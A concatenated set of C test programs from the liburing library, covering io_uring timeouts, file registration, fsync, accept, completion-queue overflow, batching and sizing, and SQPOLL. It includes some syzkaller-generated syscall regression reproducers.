(cqe->res == -EOPNOTSUPP) 70 | goto skipped; 71 | goto err; 72 | } 73 | io_uring_cqe_seen(&ring, cqe); 74 | offset += 4096; 75 | } while (--blocks); 76 | 77 | close(fd); 78 | unlink(buf); 79 | return 0; 80 | err: 81 | close(fd); 82 | unlink(buf); 83 | return 1; 84 | skipped: 85 | fprintf(stderr, "Polling not supported in current dir, test skipped\n"); 86 | close(fd); 87 | unlink(buf); 88 | return 0; 89 | } 90 | -------------------------------------------------------------------------------- /liburing/test/7ad0e4b2f83c.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | #include 3 | #include 4 | #include 5 | #include "liburing.h" 6 | 7 | static unsigned long long mtime_since(const struct timeval *s, 8 | const struct timeval *e) 9 | { 10 | long long sec, usec; 11 | 12 | sec = e->tv_sec - s->tv_sec; 13 | usec = (e->tv_usec - s->tv_usec); 14 | if (sec > 0 && usec < 0) { 15 | sec--; 16 | usec += 1000000; 17 | } 18 | 19 | sec *= 1000; 20 | usec /= 1000; 21 | return sec + usec; 22 | } 23 | 24 | static unsigned long long mtime_since_now(struct timeval *tv) 25 | { 26 | struct timeval end; 27 | 28 | gettimeofday(&end, NULL); 29 | return mtime_since(tv, &end); 30 | } 31 | 32 | int main(int argc, char *argv[]) 33 | { 34 | struct __kernel_timespec ts1, ts2; 35 | struct io_uring_cqe *cqe; 36 | struct io_uring_sqe *sqe; 37 | struct io_uring ring; 38 | unsigned long msec; 39 | struct timeval tv; 40 | int ret; 41 | 42 | if (argc > 1) 43 | return 0; 44 | 45 | ret = io_uring_queue_init(32, &ring, 0); 46 | if (ret) { 47 | fprintf(stderr, "io_uring_queue_init=%d\n", ret); 48 | return 1; 49 | } 50 | 51 | sqe = io_uring_get_sqe(&ring); 52 | io_uring_prep_nop(sqe); 53 | ret = io_uring_submit(&ring); 54 | if (ret != 1) { 55 | fprintf(stderr, "io_uring_submit1=%d\n", ret); 56 | return 1; 57 | } 58 | 59 | 60 | ts1.tv_sec = 5, 61 | ts1.tv_nsec = 0; 62 | ret = io_uring_wait_cqe_timeout(&ring, &cqe, &ts1); 63 | if (ret) { 64 | fprintf(stderr, "io_uring_wait_cqe_timeout=%d\n", ret); 65 | return 1; 66 | } 67 | io_uring_cqe_seen(&ring, cqe); 68 | gettimeofday(&tv, NULL); 69 | 70 | ts2.tv_sec = 1; 71 | ts2.tv_nsec = 0; 72 | sqe = io_uring_get_sqe(&ring); 73 | io_uring_prep_timeout(sqe, &ts2, 0, 0); 74 | sqe->user_data = 89; 75 | ret = io_uring_submit(&ring); 76 | if (ret != 1) { 77 | fprintf(stderr, "io_uring_submit2=%d\n", ret); 78 | return 1; 79 | } 80 | 81 | io_uring_wait_cqe(&ring, &cqe); 82 | io_uring_cqe_seen(&ring, cqe); 83 | msec = mtime_since_now(&tv); 84 | if (msec >= 900 && msec <= 1100) { 85 | io_uring_queue_exit(&ring); 86 | return 0; 87 | } 88 | 89 | fprintf(stderr, "%s: Timeout seems wonky (got %lu)\n", __FUNCTION__, 90 | msec); 91 | io_uring_queue_exit(&ring); 92 | return 1; 93 | } 94 | -------------------------------------------------------------------------------- /liburing/test/8a9973408177.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "liburing.h" 10 | 11 | static int register_file(struct io_uring *ring) 12 | { 13 | char buf[32]; 14 | int ret, fd; 15 | 16 | sprintf(buf, "./XXXXXX"); 17 | fd = mkstemp(buf); 18 | if (fd < 0) { 19 | perror("open"); 20 | return 1; 21 | } 22 | 23 | ret = io_uring_register_files(ring, &fd, 1); 24 | if (ret) { 25 | fprintf(stderr, "file register %d\n", ret); 26 | return 1; 27 | } 28 | 29 | ret = io_uring_unregister_files(ring); 30 | if (ret) { 31 | fprintf(stderr, "file register %d\n", ret); 32 | return 1; 33 | } 34 | 35 | unlink(buf); 36 | close(fd); 37 | return 0; 38 | } 39 | 40 | static int test_single_fsync(struct io_uring *ring) 41 | { 42 | struct io_uring_cqe *cqe; 43 | struct io_uring_sqe *sqe; 44 | char buf[32]; 45 | int fd, ret; 46 | 47 | sprintf(buf, "./XXXXXX"); 48 | fd = mkstemp(buf); 49 | if (fd < 0) { 50 | perror("open"); 51 | return 1; 52 | } 53 | 54 | sqe = io_uring_get_sqe(ring); 55 | if (!sqe) { 56 | printf("get sqe failed\n"); 57 | goto err; 58 | } 59 | 60 | io_uring_prep_fsync(sqe, fd, 0); 61 | 62 | ret = io_uring_submit(ring); 63 | if (ret <= 0) { 64 | printf("sqe submit failed: %d\n", ret); 65 | goto err; 66 | } 67 | 68 | ret = io_uring_wait_cqe(ring, &cqe); 69 | if (ret < 0) { 70 | printf("wait completion %d\n", ret); 71 | goto err; 72 | } 73 | 74 | io_uring_cqe_seen(ring, cqe); 75 | unlink(buf); 76 | return 0; 77 | err: 78 | unlink(buf); 79 | return 1; 80 | } 81 | 82 | int main(int argc, char *argv[]) 83 | { 84 | struct io_uring ring; 85 | int ret; 86 | 87 | if (argc > 1) 88 | return 0; 89 | 90 | ret = io_uring_queue_init(8, &ring, 0); 91 | if (ret) { 92 | printf("ring setup failed\n"); 93 | return 1; 94 | } 95 | 96 | ret = register_file(&ring); 97 | if (ret) 98 | return ret; 99 | ret = test_single_fsync(&ring); 100 | if (ret) { 101 | printf("test_single_fsync failed\n"); 102 | return ret; 103 | } 104 | 105 | return 0; 106 | } 107 | -------------------------------------------------------------------------------- /liburing/test/917257daa0fe.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | // autogenerated by syzkaller (https://github.com/google/syzkaller) 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "liburing.h" 14 | #include "../src/syscall.h" 15 | 16 | int main(int argc, char *argv[]) 17 | { 18 | if (argc > 1) 19 | return 0; 20 | 21 | mmap((void *) 0x20000000, 0x1000000, 3, 0x32, -1, 0); 22 | 23 | *(uint32_t*)0x20000000 = 0; 24 | *(uint32_t*)0x20000004 = 0; 25 | *(uint32_t*)0x20000008 = 6; 26 | *(uint32_t*)0x2000000c = 0; 27 | *(uint32_t*)0x20000010 = 0x3af; 28 | *(uint32_t*)0x20000014 = 0; 29 | *(uint32_t*)0x20000018 = 0; 30 | *(uint32_t*)0x2000001c = 0; 31 | *(uint32_t*)0x20000020 = 0; 32 | *(uint32_t*)0x20000024 = 0; 33 | *(uint32_t*)0x20000028 = 0; 34 | *(uint32_t*)0x2000002c = 0; 35 | *(uint32_t*)0x20000030 = 0; 36 | *(uint32_t*)0x20000034 = 0; 37 | *(uint32_t*)0x20000038 = 0; 38 | *(uint32_t*)0x2000003c = 0; 39 | *(uint32_t*)0x20000040 = 0; 40 | *(uint32_t*)0x20000044 = 0; 41 | *(uint64_t*)0x20000048 = 0; 42 | *(uint32_t*)0x20000050 = 0; 43 | *(uint32_t*)0x20000054 = 0; 44 | *(uint32_t*)0x20000058 = 0; 45 | *(uint32_t*)0x2000005c = 0; 46 | *(uint32_t*)0x20000060 = 0; 47 | *(uint32_t*)0x20000064 = 0; 48 | *(uint32_t*)0x20000068 = 0; 49 | *(uint32_t*)0x2000006c = 0; 50 | *(uint64_t*)0x20000070 = 0; 51 | __sys_io_uring_setup(0x7a6, (struct io_uring_params *) 0x20000000UL); 52 | return 0; 53 | } 54 | -------------------------------------------------------------------------------- /liburing/test/a0908ae19763.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | // autogenerated by syzkaller (https://github.com/google/syzkaller) 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "liburing.h" 14 | #include "../src/syscall.h" 15 | 16 | uint64_t r[1] = {0xffffffffffffffff}; 17 | 18 | int main(int argc, char *argv[]) 19 | { 20 | if (argc > 1) 21 | return 0; 22 | mmap((void *) 0x20000000, 0x1000000, 3, 0x32, -1, 0); 23 | intptr_t res = 0; 24 | *(uint32_t*)0x20000080 = 0; 25 | *(uint32_t*)0x20000084 = 0; 26 | *(uint32_t*)0x20000088 = 0; 27 | *(uint32_t*)0x2000008c = 0; 28 | *(uint32_t*)0x20000090 = 0; 29 | *(uint32_t*)0x20000094 = 0; 30 | *(uint32_t*)0x20000098 = 0; 31 | *(uint32_t*)0x2000009c = 0; 32 | *(uint32_t*)0x200000a0 = 0; 33 | *(uint32_t*)0x200000a4 = 0; 34 | *(uint32_t*)0x200000a8 = 0; 35 | *(uint32_t*)0x200000ac = 0; 36 | *(uint32_t*)0x200000b0 = 0; 37 | *(uint32_t*)0x200000b4 = 0; 38 | *(uint32_t*)0x200000b8 = 0; 39 | *(uint32_t*)0x200000bc = 0; 40 | *(uint32_t*)0x200000c0 = 0; 41 | *(uint32_t*)0x200000c4 = 0; 42 | *(uint64_t*)0x200000c8 = 0; 43 | *(uint32_t*)0x200000d0 = 0; 44 | *(uint32_t*)0x200000d4 = 0; 45 | *(uint32_t*)0x200000d8 = 0; 46 | *(uint32_t*)0x200000dc = 0; 47 | *(uint32_t*)0x200000e0 = 0; 48 | *(uint32_t*)0x200000e4 = 0; 49 | *(uint32_t*)0x200000e8 = 0; 50 | *(uint32_t*)0x200000ec = 0; 51 | *(uint64_t*)0x200000f0 = 0; 52 | res = __sys_io_uring_setup(0xa4, (struct io_uring_params *) 0x20000080); 53 | if (res != -1) 54 | r[0] = res; 55 | *(uint32_t*)0x20000280 = -1; 56 | __sys_io_uring_register(r[0], 2, (const void *) 0x20000280, 1); 57 | return 0; 58 | } 59 | -------------------------------------------------------------------------------- /liburing/test/accept-test.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: Check to see if accept handles addr and addrlen 4 | */ 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "liburing.h" 11 | 12 | int main(int argc, char *argv[]) 13 | { 14 | struct io_uring_sqe *sqe; 15 | struct io_uring_cqe *cqe; 16 | struct io_uring ring; 17 | struct sockaddr_un addr; 18 | socklen_t addrlen = sizeof(addr); 19 | int ret, fd; 20 | struct __kernel_timespec ts = { 21 | .tv_sec = 0, 22 | .tv_nsec = 1000000 23 | }; 24 | 25 | if (argc > 1) 26 | return 0; 27 | 28 | if (io_uring_queue_init(4, &ring, 0) != 0) { 29 | fprintf(stderr, "ring setup failed\n"); 30 | return 1; 31 | } 32 | 33 | fd = socket(AF_UNIX, SOCK_STREAM, 0); 34 | assert(fd != -1); 35 | 36 | memset(&addr, 0, sizeof(addr)); 37 | addr.sun_family = AF_UNIX; 38 | memcpy(addr.sun_path, "\0sock2", 7); 39 | 40 | ret = bind(fd, (struct sockaddr *)&addr, addrlen); 41 | assert(ret != -1); 42 | ret = listen(fd, 128); 43 | assert(ret != -1); 44 | 45 | sqe = io_uring_get_sqe(&ring); 46 | if (!sqe) { 47 | fprintf(stderr, "get sqe failed\n"); 48 | return 1; 49 | } 50 | io_uring_prep_accept(sqe, fd, (struct sockaddr*)&addr, &addrlen, 0); 51 | sqe->user_data = 1; 52 | 53 | ret = io_uring_submit(&ring); 54 | if (ret != 1) { 55 | fprintf(stderr, "Got submit %d, expected 1\n", ret); 56 | return 1; 57 | } 58 | 59 | ret = io_uring_wait_cqe_timeout(&ring, &cqe, &ts); 60 | if (!ret) { 61 | if (cqe->res == -EBADF || cqe->res == -EINVAL) { 62 | fprintf(stdout, "Accept not supported, skipping\n"); 63 | goto out; 64 | } else if (cqe->res < 0) { 65 | fprintf(stderr, "cqe error %d\n", cqe->res); 66 | goto err; 67 | } 68 | } else if (ret != -ETIME) { 69 | fprintf(stderr, "accept() failed to use addr & addrlen parameters!\n"); 70 | return 1; 71 | } 72 | 73 | out: 74 | io_uring_queue_exit(&ring); 75 | return 0; 76 | err: 77 | io_uring_queue_exit(&ring); 78 | return 1; 79 | } 80 | -------------------------------------------------------------------------------- /liburing/test/b19062a56726.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | // autogenerated by syzkaller (https://github.com/google/syzkaller) 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "liburing.h" 14 | #include "../src/syscall.h" 15 | 16 | int main(int argc, char *argv[]) 17 | { 18 | if (argc > 1) 19 | return 0; 20 | 21 | mmap((void *) 0x20000000, 0x1000000, 3, 0x32, -1, 0); 22 | 23 | *(uint32_t*)0x20000200 = 0; 24 | *(uint32_t*)0x20000204 = 0; 25 | *(uint32_t*)0x20000208 = 5; 26 | *(uint32_t*)0x2000020c = 0x400; 27 | *(uint32_t*)0x20000210 = 0; 28 | *(uint32_t*)0x20000214 = 0; 29 | *(uint32_t*)0x20000218 = 0; 30 | *(uint32_t*)0x2000021c = 0; 31 | *(uint32_t*)0x20000220 = 0; 32 | *(uint32_t*)0x20000224 = 0; 33 | *(uint32_t*)0x20000228 = 0; 34 | *(uint32_t*)0x2000022c = 0; 35 | *(uint32_t*)0x20000230 = 0; 36 | *(uint32_t*)0x20000234 = 0; 37 | *(uint32_t*)0x20000238 = 0; 38 | *(uint32_t*)0x2000023c = 0; 39 | *(uint32_t*)0x20000240 = 0; 40 | *(uint32_t*)0x20000244 = 0; 41 | *(uint64_t*)0x20000248 = 0; 42 | *(uint32_t*)0x20000250 = 0; 43 | *(uint32_t*)0x20000254 = 0; 44 | *(uint32_t*)0x20000258 = 0; 45 | *(uint32_t*)0x2000025c = 0; 46 | *(uint32_t*)0x20000260 = 0; 47 | *(uint32_t*)0x20000264 = 0; 48 | *(uint32_t*)0x20000268 = 0; 49 | *(uint32_t*)0x2000026c = 0; 50 | *(uint64_t*)0x20000270 = 0; 51 | __sys_io_uring_setup(0xc9f, (struct io_uring_params *) 0x20000200); 52 | return 0; 53 | } 54 | -------------------------------------------------------------------------------- /liburing/test/b5837bd5311d.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: Check to see if wait_nr is being honored. 4 | */ 5 | #include 6 | #include "liburing.h" 7 | 8 | int main(int argc, char *argv[]) 9 | { 10 | struct io_uring_sqe *sqe; 11 | struct io_uring_cqe *cqe; 12 | struct io_uring ring; 13 | int ret; 14 | struct __kernel_timespec ts = { 15 | .tv_sec = 0, 16 | .tv_nsec = 10000000 17 | }; 18 | 19 | if (argc > 1) 20 | return 0; 21 | 22 | if (io_uring_queue_init(4, &ring, 0) != 0) { 23 | fprintf(stderr, "ring setup failed\n"); 24 | return 1; 25 | } 26 | 27 | /* 28 | * First, submit the timeout sqe so we can actually finish the test 29 | * if everything is in working order. 30 | */ 31 | sqe = io_uring_get_sqe(&ring); 32 | if (!sqe) { 33 | fprintf(stderr, "get sqe failed\n"); 34 | return 1; 35 | } 36 | io_uring_prep_timeout(sqe, &ts, (unsigned)-1, 0); 37 | 38 | ret = io_uring_submit(&ring); 39 | if (ret != 1) { 40 | fprintf(stderr, "Got submit %d, expected 1\n", ret); 41 | return 1; 42 | } 43 | 44 | /* 45 | * Next, submit a nop and wait for two events. If everything is working 46 | * as it should, we should be waiting for more than a millisecond and we 47 | * should see two cqes. Otherwise, execution continues immediately 48 | * and we see only one cqe. 49 | */ 50 | sqe = io_uring_get_sqe(&ring); 51 | if (!sqe) { 52 | fprintf(stderr, "get sqe failed\n"); 53 | return 1; 54 | } 55 | io_uring_prep_nop(sqe); 56 | 57 | ret = io_uring_submit_and_wait(&ring, 2); 58 | if (ret != 1) { 59 | fprintf(stderr, "Got submit %d, expected 1\n", ret); 60 | return 1; 61 | } 62 | 63 | if (io_uring_peek_cqe(&ring, &cqe) != 0) { 64 | fprintf(stderr, "Unable to peek cqe!\n"); 65 | return 1; 66 | } 67 | 68 | io_uring_cqe_seen(&ring, cqe); 69 | 70 | if (io_uring_peek_cqe(&ring, &cqe) != 0) { 71 | fprintf(stderr, "Unable to peek cqe!\n"); 72 | return 1; 73 | } 74 | 75 | io_uring_queue_exit(&ring); 76 | return 0; 77 | } 78 | -------------------------------------------------------------------------------- /liburing/test/config: -------------------------------------------------------------------------------- 1 | # Copy this to config.local, uncomment and define values 2 | # 3 | # Define tests to exclude from running 4 | # TEST_EXCLUDE="" 5 | # 6 | # Define raw test devices (or files) for test cases, if any 7 | # declare -A TEST_MAP=() 8 | # 9 | # If no TEST_MAP entry exists for a test, use the ones given in TEST_FILES 10 | # TEST_FILES="/dev/somedevice /data/somefile" 11 | -------------------------------------------------------------------------------- /liburing/test/cq-full.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: test CQ ring overflow 4 | * 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "liburing.h" 14 | 15 | static int queue_n_nops(struct io_uring *ring, int n) 16 | { 17 | struct io_uring_sqe *sqe; 18 | int i, ret; 19 | 20 | for (i = 0; i < n; i++) { 21 | sqe = io_uring_get_sqe(ring); 22 | if (!sqe) { 23 | printf("get sqe failed\n"); 24 | goto err; 25 | } 26 | 27 | io_uring_prep_nop(sqe); 28 | } 29 | 30 | ret = io_uring_submit(ring); 31 | if (ret < n) { 32 | printf("Submitted only %d\n", ret); 33 | goto err; 34 | } else if (ret < 0) { 35 | printf("sqe submit failed: %d\n", ret); 36 | goto err; 37 | } 38 | 39 | return 0; 40 | err: 41 | return 1; 42 | } 43 | 44 | int main(int argc, char *argv[]) 45 | { 46 | struct io_uring_cqe *cqe; 47 | struct io_uring_params p; 48 | struct io_uring ring; 49 | int i, ret; 50 | 51 | if (argc > 1) 52 | return 0; 53 | 54 | memset(&p, 0, sizeof(p)); 55 | ret = io_uring_queue_init_params(4, &ring, &p); 56 | if (ret) { 57 | printf("ring setup failed\n"); 58 | return 1; 59 | 60 | } 61 | 62 | if (queue_n_nops(&ring, 4)) 63 | goto err; 64 | if (queue_n_nops(&ring, 4)) 65 | goto err; 66 | if (queue_n_nops(&ring, 4)) 67 | goto err; 68 | 69 | i = 0; 70 | do { 71 | ret = io_uring_peek_cqe(&ring, &cqe); 72 | if (ret < 0) { 73 | if (ret == -EAGAIN) 74 | break; 75 | printf("wait completion %d\n", ret); 76 | goto err; 77 | } 78 | io_uring_cqe_seen(&ring, cqe); 79 | if (!cqe) 80 | break; 81 | i++; 82 | } while (1); 83 | 84 | if (i < 8 || 85 | ((*ring.cq.koverflow != 4) && !(p.features & IORING_FEAT_NODROP))) { 86 | printf("CQ overflow fail: %d completions, %u overflow\n", i, 87 | *ring.cq.koverflow); 88 | goto err; 89 | } 90 | 91 | io_uring_queue_exit(&ring); 92 | return 0; 93 | err: 94 | io_uring_queue_exit(&ring); 95 | return 1; 96 | } 97 | -------------------------------------------------------------------------------- /liburing/test/cq-peek-batch.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: test CQ peek-batch 4 | * 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "liburing.h" 14 | 15 | static int queue_n_nops(struct io_uring *ring, int n, int offset) 16 | { 17 | struct io_uring_sqe *sqe; 18 | int i, ret; 19 | 20 | for (i = 0; i < n; i++) { 21 | sqe = io_uring_get_sqe(ring); 22 | if (!sqe) { 23 | printf("get sqe failed\n"); 24 | goto err; 25 | } 26 | 27 | io_uring_prep_nop(sqe); 28 | sqe->user_data = i + offset; 29 | } 30 | 31 | ret = io_uring_submit(ring); 32 | if (ret < n) { 33 | printf("Submitted only %d\n", ret); 34 | goto err; 35 | } else if (ret < 0) { 36 | printf("sqe submit failed: %d\n", ret); 37 | goto err; 38 | } 39 | 40 | return 0; 41 | err: 42 | return 1; 43 | } 44 | 45 | #define CHECK_BATCH(ring, got, cqes, count, expected) do {\ 46 | got = io_uring_peek_batch_cqe((ring), cqes, count);\ 47 | if (got != expected) {\ 48 | printf("Got %d CQs, expected %d\n", got, expected);\ 49 | goto err;\ 50 | }\ 51 | } while(0) 52 | 53 | int main(int argc, char *argv[]) 54 | { 55 | struct io_uring_cqe *cqes[8]; 56 | struct io_uring ring; 57 | int ret, i; 58 | unsigned got; 59 | 60 | if (argc > 1) 61 | return 0; 62 | 63 | ret = io_uring_queue_init(4, &ring, 0); 64 | if (ret) { 65 | printf("ring setup failed\n"); 66 | return 1; 67 | 68 | } 69 | 70 | CHECK_BATCH(&ring, got, cqes, 4, 0); 71 | if (queue_n_nops(&ring, 4, 0)) 72 | goto err; 73 | 74 | CHECK_BATCH(&ring, got, cqes, 4, 4); 75 | for (i=0;i<4;i++) { 76 | if (i != cqes[i]->user_data) { 77 | printf("Got user_data %" PRIu64 ", expected %d\n", 78 | (uint64_t) cqes[i]->user_data, i); 79 | goto err; 80 | } 81 | } 82 | 83 | if (queue_n_nops(&ring, 4, 4)) 84 | goto err; 85 | 86 | io_uring_cq_advance(&ring, 4); 87 | CHECK_BATCH(&ring, got, cqes, 4, 4); 88 | for (i=0;i<4;i++) { 89 | if (i + 4 != cqes[i]->user_data) { 90 | printf("Got user_data %" PRIu64 ", expected %d\n", 91 | (uint64_t) cqes[i]->user_data, i + 4); 92 | goto err; 93 | } 94 | } 95 | 96 | io_uring_cq_advance(&ring, 8); 97 | io_uring_queue_exit(&ring); 98 | return 0; 99 | err: 100 | io_uring_queue_exit(&ring); 101 | return 1; 102 | } 103 | -------------------------------------------------------------------------------- /liburing/test/cq-ready.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: test CQ ready 4 | * 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "liburing.h" 14 | 15 | static int queue_n_nops(struct io_uring *ring, int n) 16 | { 17 | struct io_uring_sqe *sqe; 18 | int i, ret; 19 | 20 | for (i = 0; i < n; i++) { 21 | sqe = io_uring_get_sqe(ring); 22 | if (!sqe) { 23 | printf("get sqe failed\n"); 24 | goto err; 25 | } 26 | 27 | io_uring_prep_nop(sqe); 28 | } 29 | 30 | ret = io_uring_submit(ring); 31 | if (ret < n) { 32 | printf("Submitted only %d\n", ret); 33 | goto err; 34 | } else if (ret < 0) { 35 | printf("sqe submit failed: %d\n", ret); 36 | goto err; 37 | } 38 | 39 | return 0; 40 | err: 41 | return 1; 42 | } 43 | 44 | #define CHECK_READY(ring, expected) do {\ 45 | ready = io_uring_cq_ready((ring));\ 46 | if (ready != expected) {\ 47 | printf("Got %d CQs ready, expected %d\n", ready, expected);\ 48 | goto err;\ 49 | }\ 50 | } while(0) 51 | 52 | int main(int argc, char *argv[]) 53 | { 54 | struct io_uring ring; 55 | int ret; 56 | unsigned ready; 57 | 58 | if (argc > 1) 59 | return 0; 60 | 61 | ret = io_uring_queue_init(4, &ring, 0); 62 | if (ret) { 63 | printf("ring setup failed\n"); 64 | return 1; 65 | 66 | } 67 | 68 | CHECK_READY(&ring, 0); 69 | if (queue_n_nops(&ring, 4)) 70 | goto err; 71 | 72 | CHECK_READY(&ring, 4); 73 | io_uring_cq_advance(&ring, 4); 74 | CHECK_READY(&ring, 0); 75 | if (queue_n_nops(&ring, 4)) 76 | goto err; 77 | 78 | CHECK_READY(&ring, 4); 79 | 80 | io_uring_cq_advance(&ring, 1); 81 | CHECK_READY(&ring, 3); 82 | 83 | io_uring_cq_advance(&ring, 2); 84 | CHECK_READY(&ring, 1); 85 | 86 | io_uring_cq_advance(&ring, 1); 87 | CHECK_READY(&ring, 0); 88 | 89 | io_uring_queue_exit(&ring); 90 | return 0; 91 | err: 92 | io_uring_queue_exit(&ring); 93 | return 1; 94 | } 95 | -------------------------------------------------------------------------------- /liburing/test/cq-size.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Description: test CQ ring sizing 4 | */ 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "liburing.h" 13 | 14 | int main(int argc, char *argv[]) 15 | { 16 | struct io_uring_params p; 17 | struct io_uring ring; 18 | int ret; 19 | 20 | if (argc > 1) 21 | return 0; 22 | 23 | memset(&p, 0, sizeof(p)); 24 | p.flags = IORING_SETUP_CQSIZE; 25 | p.cq_entries = 64; 26 | 27 | ret = io_uring_queue_init_params(4, &ring, &p); 28 | if (ret) { 29 | if (ret == -EINVAL) { 30 | printf("Skipped, not supported on this kernel\n"); 31 | goto done; 32 | } 33 | printf("ring setup failed\n"); 34 | return 1; 35 | } 36 | 37 | if (p.cq_entries < 64) { 38 | printf("cq entries invalid (%d)\n", p.cq_entries); 39 | goto err; 40 | } 41 | io_uring_queue_exit(&ring); 42 | 43 | memset(&p, 0, sizeof(p)); 44 | p.flags = IORING_SETUP_CQSIZE; 45 | p.cq_entries = 0; 46 | 47 | ret = io_uring_queue_init_params(4, &ring, &p); 48 | if (ret >= 0) { 49 | printf("zero sized cq ring succeeded\n"); 50 | io_uring_queue_exit(&ring); 51 | goto err; 52 | } 53 | 54 | if (ret != -EINVAL) { 55 | printf("io_uring_queue_init_params failed, but not with -EINVAL" 56 | ", returned error %d (%s)\n", ret, strerror(-ret)); 57 | goto err; 58 | } 59 | 60 | done: 61 | return 0; 62 | err: 63 | return 1; 64 | } 65 | -------------------------------------------------------------------------------- /liburing/test/d4ae271dfaae.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | /* 3 | * Test case for SQPOLL missing a 'ret' clear in case of busy. 4 | * 5 | * Heavily based on a test case from 6 | * Xiaoguang Wang 7 | */ 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "helpers.h" 15 | #include "liburing.h" 16 | 17 | #define FILE_SIZE (128 * 1024) 18 | 19 | int main(int argc, char *argv[]) 20 | { 21 | struct io_uring ring; 22 | int i, fd, ret; 23 | struct io_uring_sqe *sqe; 24 | struct io_uring_cqe *cqe; 25 | struct iovec *iovecs; 26 | struct io_uring_params p; 27 | char *fname; 28 | void *buf; 29 | 30 | memset(&p, 0, sizeof(p)); 31 | p.flags = IORING_SETUP_SQPOLL; 32 | ret = t_create_ring_params(4, &ring, &p); 33 | if (ret == T_SETUP_SKIP) 34 | return 0; 35 | else if (ret < 0) 36 | return 1; 37 | 38 | if (argc > 1) { 39 | fname = argv[1]; 40 | } else { 41 | fname = ".sqpoll.tmp"; 42 | t_create_file(fname, FILE_SIZE); 43 | } 44 | 45 | fd = open(fname, O_RDONLY | O_DIRECT); 46 | if (fname != argv[1]) 47 | unlink(fname); 48 | if (fd < 0) { 49 | perror("open"); 50 | goto out; 51 | } 52 | 53 | iovecs = t_calloc(10, sizeof(struct iovec)); 54 | for (i = 0; i < 10; i++) { 55 | t_posix_memalign(&buf, 4096, 4096); 56 | iovecs[i].iov_base = buf; 57 | iovecs[i].iov_len = 4096; 58 | } 59 | 60 | ret = io_uring_register_files(&ring, &fd, 1); 61 | if (ret < 0) { 62 | fprintf(stderr, "register files %d\n", ret); 63 | goto out; 64 | } 65 | 66 | for (i = 0; i < 10; i++) { 67 | sqe = io_uring_get_sqe(&ring); 68 | if (!sqe) 69 | break; 70 | 71 | io_uring_prep_readv(sqe, 0, &iovecs[i], 1, 0); 72 | sqe->flags |= IOSQE_FIXED_FILE; 73 | 74 | ret = io_uring_submit(&ring); 75 | usleep(1000); 76 | } 77 | 78 | for (i = 0; i < 10; i++) { 79 | ret = io_uring_wait_cqe(&ring, &cqe); 80 | if (ret) { 81 | fprintf(stderr, "wait_cqe=%d\n", ret); 82 | break; 83 | } 84 | if (cqe->res != 4096) { 85 | fprintf(stderr, "ret=%d, wanted 4096\n", cqe->res); 86 | ret = 1; 87 | break; 88 | } 89 | io_uring_cqe_seen(&ring, cqe); 90 | } 91 | 92 | close(fd); 93 | out: 94 | io_uring_queue_exit(&ring); 95 | return ret; 96 | } 97 | -------------------------------------------------------------------------------- /liburing/test/d77a67ed5f27.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: MIT */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "liburing.h" 8 | #include "helpers.h" 9 | 10 | static void sig_alrm(int sig) 11 | { 12 | fprintf(stderr, "Timed out!\n"); 13 | exit(1); 14 | } 15 | 16 | int main(int argc, char *argv[]) 17 | { 18 | struct io_uring_sqe *sqe; 19 | struct io_uring_cqe *cqe; 20 | struct io_uring_params p; 21 | struct io_uring ring; 22 | int ret, data; 23 | 24 | if (argc > 1) 25 | return 0; 26 | 27 | signal(SIGALRM, sig_alrm); 28 | 29 | memset(&p, 0, sizeof(p)); 30 | p.sq_thread_idle = 100; 31 | p.flags = IORING_SETUP_SQPOLL; 32 | ret = t_create_ring_params(4, &ring, &p); 33 | if (ret == T_SETUP_SKIP) 34 | return 0; 35 | else if (ret < 0) 36 | return 1; 37 | 38 | /* make sure sq thread is sleeping at this point */ 39 | usleep(150000); 40 | alarm(1); 41 | 42 | sqe = io_uring_get_sqe(&ring); 43 | if (!sqe) { 44 | fprintf(stderr, "sqe get failed\n"); 45 | return 1; 46 | } 47 | 48 | io_uring_prep_nop(sqe); 49 | io_uring_sqe_set_data(sqe, (void *) (unsigned long) 42); 50 | io_uring_submit_and_wait(&ring, 1); 51 | 52 | ret = io_uring_peek_cqe(&ring, &cqe); 53 | if (ret) { 54 | fprintf(stderr, "cqe get failed\n"); 55 | return 1; 56 | } 57 | 58 | data = (unsigned long) io_uring_cqe_get_data(cqe); 59 | if (data != 42) { 60 | fprintf(stderr, "invalid data: %d\n", data); 61 | return 1; 62 | } 63 | 64 | return 0; 65 | } 66 | -------------------------------------------------------------------------------- /liburing/test/drop-submit.c: -------------------------------------------------------------------------------- 1 | 